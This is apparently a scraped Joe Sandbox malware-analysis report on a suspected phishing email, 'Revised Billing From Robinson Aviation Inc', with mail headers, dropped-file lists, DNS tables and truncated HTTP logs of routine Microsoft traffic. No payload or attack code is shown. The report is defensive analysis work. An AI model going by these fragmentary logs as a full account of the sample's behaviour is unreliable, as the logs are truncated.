X-MS-Exchange-Organization-Network-Message-Id	478f6819-87dc-4ef3-9fe3-08dcff58f059
X-EOPAttributedMessage	0
X-MS-Exchange-Organization-MessageDirectionality	Originating
X-MS-Exchange-Transport-CrossTenantHeadersStripped	DS4PEPF00000172.namprd09.prod.outlook.com
X-MS-PublicTrafficType	Email
X-MS-Exchange-Organization-AuthSource	DS4PEPF00000172.namprd09.prod.outlook.com
X-MS-Exchange-Organization-AuthAs	Anonymous
X-OriginatorOrg	usfaa.onmicrosoft.com
X-MS-Office365-Filtering-Correlation-Id-Prvs	1fca5f58-2f23-4a1a-21a6-08dcff58e0c9
X-MS-Exchange-Organization-SCL	1
X-Microsoft-Antispam	BCL:0;ARA:13230040\|82310400026\|35042699022\|5073199012\|4073199012\|8096899003\|43540500003;
X-Forefront-Antispam-Report	CIP:204.108.8.6;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:oexinternalrelay1.faa.gov;PTR:ErrorRetry;CAT:NONE;SFS:(13230040)(82310400026)(35042699022)(5073199012)(4073199012)(8096899003)(43540500003);DIR:INB;
X-MS-Exchange-CrossTenant-OriginalArrivalTime	07 Nov 2024 18:20:58.2190
X-MS-Exchange-CrossTenant-Network-Message-Id	478f6819-87dc-4ef3-9fe3-08dcff58f059
X-MS-Exchange-CrossTenant-Id	2b69d099-dc61-447b-84c8-001733d8be3a
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp	TenantId=2b69d099-dc61-447b-84c8-001733d8be3a;Ip=[204.108.8.6];Helo=[oexinternalrelay1.faa.gov]
X-MS-Exchange-CrossTenant-AuthSource	DS4PEPF00000172.namprd09.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs	Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader	HybridOnPrem
X-MS-Exchange-Transport-EndToEndLatency	00:00:10.7882113
X-MS-Exchange-Processed-By-BccFoldering	15.20.8137.018
X-Microsoft-Antispam-Mailbox-Delivery	ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(930097)(140003);
X-Microsoft-Antispam-Message-Info	=?us-ascii?Q?ARDKU+hyesH9JQjKJqbT62uGxqBJugxb7h3FihyeLAxRpp30i47QdQ2HaxM9?=
date	Thu, 07 Nov 2024 19:20:37 +0100

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FORMS\FRMCACHE.DAT

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntities.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\AddInClassifierCache\OfficeSharedEntitiesUpdated.bin

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\685EEC03-6753-403A-B962-BC0D7B525D10

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-journal

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-shm

C:\Users\user\AppData\Local\Microsoft\Office\OTele\outlook.exe.db-wal

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\2D9B2693.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\7477B27D.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\828AB119.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\966DE5A.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E69A8778.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\F9F6F96C.dat

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{B02E8208-851C-4CA4-B31F-A161FD6ADE87}.tmp

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1731006048825464700_11C7398A-E821-4C4F-B8F1-9EE6012D72B1.log

C:\Users\user\AppData\Local\Temp\Diagnostics\OUTLOOK\App1731006048826309100_11C7398A-E821-4C4F-B8F1-9EE6012D72B1.log

C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241107T1400480649-7036.etl

C:\Users\user\AppData\Local\Temp\~DF65F680BCF1F5A162.TMP

Windows Analysis Report
ACTION REQUIRED Revised Billing #NL992-071 From Robinson Aviation Inc.msg

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 20:00:58.544991016 CET	64438	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:00:58.545497894 CET	49895	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:00:58.554013968 CET	53	61874	1.1.1.1	192.168.2.16
Nov 7, 2024 20:00:58.659943104 CET	53	51211	1.1.1.1	192.168.2.16
Nov 7, 2024 20:00:59.900171041 CET	53	54290	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:02.788055897 CET	58125	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:02.788362980 CET	60986	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:03.393062115 CET	60271	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:03.393263102 CET	51968	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:03.401369095 CET	53	60271	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:03.401381016 CET	53	51968	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:15.587331057 CET	49968	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:15.587501049 CET	59166	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:16.890337944 CET	53	56869	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:18.369694948 CET	56273	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:18.369929075 CET	54604	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:19.432037115 CET	54742	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:19.432199955 CET	55208	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:26.462234974 CET	63502	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:26.463206053 CET	53706	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:26.497071981 CET	53	63502	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:26.504152060 CET	53	53706	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:27.990730047 CET	49259	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:27.990895987 CET	50671	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:28.018309116 CET	53	50671	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:28.024979115 CET	53	49259	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:35.617511034 CET	53	52370	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:35.888887882 CET	59655	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:35.889190912 CET	64216	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:37.006020069 CET	61948	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:37.006177902 CET	58695	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:37.006514072 CET	56745	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:37.006650925 CET	59910	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:37.014671087 CET	53	59910	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:37.742679119 CET	53	57136	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:37.969846964 CET	49887	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:37.969989061 CET	52250	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:37.977502108 CET	53	52250	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:40.411397934 CET	55289	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:40.411541939 CET	62006	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:40.421713114 CET	53	55289	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:40.424964905 CET	53	62006	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:44.557960033 CET	54399	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:44.558100939 CET	58833	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:45.017987967 CET	53	58833	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:45.226094007 CET	53	54399	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:46.119087934 CET	54271	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:46.119271994 CET	56347	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:46.125950098 CET	53	54271	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:46.127070904 CET	53	56347	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:47.116667032 CET	59666	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:47.119473934 CET	54979	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:47.119815111 CET	49542	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:47.120291948 CET	57060	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:47.123648882 CET	53	59666	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:47.126610994 CET	53	54979	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:47.163428068 CET	53	49542	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:47.334964037 CET	53	57060	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:48.245969057 CET	138	138	192.168.2.16	192.168.2.255
Nov 7, 2024 20:01:48.496063948 CET	52533	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:48.496217966 CET	57868	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:48.528846025 CET	53	57868	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:48.582863092 CET	53	52533	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:49.453442097 CET	51768	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:49.453804970 CET	57227	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:49.483210087 CET	62186	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:49.484325886 CET	63861	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:49.490062952 CET	53	62186	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:49.491137028 CET	53	63861	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:49.491496086 CET	53	51768	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:49.522974014 CET	53	57227	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:49.988761902 CET	59275	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:49.988761902 CET	60981	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:50.024497032 CET	53	60981	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:50.049757004 CET	53	59275	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:50.487256050 CET	51053	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:50.487478018 CET	58272	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:50.494226933 CET	53	58272	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:50.494645119 CET	53	51053	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:50.530383110 CET	60554	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:50.530680895 CET	50306	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:50.537285089 CET	53	60554	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:50.537550926 CET	53	50306	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:51.370865107 CET	54851	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:51.371012926 CET	50806	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:51.377717972 CET	53	54851	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:51.378122091 CET	53	50806	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:51.424104929 CET	50262	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:51.424253941 CET	49241	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:51.430994987 CET	53	49241	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:51.431669950 CET	53	50262	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:52.839237928 CET	54501	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:52.839445114 CET	61352	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:52.848475933 CET	53	54501	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:52.848589897 CET	53	61352	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:54.259048939 CET	51794	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:54.259198904 CET	64901	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:54.266515017 CET	53	51794	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:54.266726017 CET	53	64901	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:55.775196075 CET	55449	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:55.775461912 CET	55715	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:55.782565117 CET	53	55449	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:55.782700062 CET	53	55715	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:57.213414907 CET	61101	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:57.213628054 CET	49536	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:57.221687078 CET	53	49536	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:58.223239899 CET	58444	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:58.223380089 CET	55585	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:01:58.230916023 CET	53	55585	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:58.543699026 CET	53	53181	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:58.545018911 CET	53	55490	1.1.1.1	192.168.2.16
Nov 7, 2024 20:01:59.237951994 CET	64473	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:01.322463989 CET	53	56643	1.1.1.1	192.168.2.16
Nov 7, 2024 20:02:15.593669891 CET	56546	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:15.593816042 CET	59339	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:15.594187021 CET	58224	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:15.594299078 CET	49182	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:15.594898939 CET	57884	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:15.595027924 CET	64551	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:15.595258951 CET	56330	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:15.595371962 CET	59482	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:16.703512907 CET	61029	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:16.703645945 CET	62840	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:26.432456017 CET	53	57065	1.1.1.1	192.168.2.16
Nov 7, 2024 20:02:36.187117100 CET	49421	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:36.187251091 CET	64346	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:47.513880968 CET	60152	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:47.514035940 CET	55525	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:47.860204935 CET	53	55525	1.1.1.1	192.168.2.16
Nov 7, 2024 20:02:49.502159119 CET	51635	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:49.502279997 CET	60263	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:49.537734032 CET	53	60263	1.1.1.1	192.168.2.16
Nov 7, 2024 20:02:54.105453014 CET	55236	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:54.105711937 CET	55933	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:54.113055944 CET	53	55933	1.1.1.1	192.168.2.16
Nov 7, 2024 20:02:54.113105059 CET	53	55236	1.1.1.1	192.168.2.16
Nov 7, 2024 20:02:55.715456009 CET	58827	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:55.715675116 CET	52870	53	192.168.2.16	1.1.1.1
Nov 7, 2024 20:02:55.722887993 CET	53	52870	1.1.1.1	192.168.2.16
Nov 7, 2024 20:02:55.723896980 CET	53	58827	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 7, 2024 20:01:37.022361994 CET	192.168.2.16	1.1.1.1	c286	(Port unreachable)	Destination Unreachable
Nov 7, 2024 20:01:47.335486889 CET	192.168.2.16	1.1.1.1	c239	(Port unreachable)	Destination Unreachable
Nov 7, 2024 20:01:49.523121119 CET	192.168.2.16	1.1.1.1	c239	(Port unreachable)	Destination Unreachable
Nov 7, 2024 20:02:03.488251925 CET	192.168.2.16	1.1.1.1	c25d	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2024-11-07 19:00:55 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-07 19:00:55 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 19:00:56 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 18:59:55 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: b1a54a3c-963a-405e-a6cc-3bc087d478c3 PPServer: PPV: 30 H: PH1PEPF00011F14 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 19:00:55 GMT Connection: close Content-Length: 11392
2024-11-07 19:00:56 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp	Bytes transferred	Direction	Data
2024-11-07 19:00:56 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PMMWWd51ms2mLK+&MD=lOkep21k HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-07 19:00:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: c320012b-f6d1-44bf-b542-9e381132eb77 MS-RequestId: 5ea2fed3-bbd0-4b9c-94f3-6ed1dc26718d MS-CV: KdWeEfY3EEy4s8l7.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 07 Nov 2024 19:00:55 GMT Connection: close Content-Length: 24490
2024-11-07 19:00:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-07 19:00:56 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Timestamp	Bytes transferred	Direction	Data
2024-11-07 19:00:57 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-07 19:00:57 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-07 19:00:57 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 07 Nov 2024 18:59:57 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BAY x-ms-request-id: 37f1b67e-d810-4b97-8cc1-114f5f3a45e8 PPServer: PPV: 30 H: PH1PEPF00018C03 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 07 Nov 2024 19:00:57 GMT Connection: close Content-Length: 11412
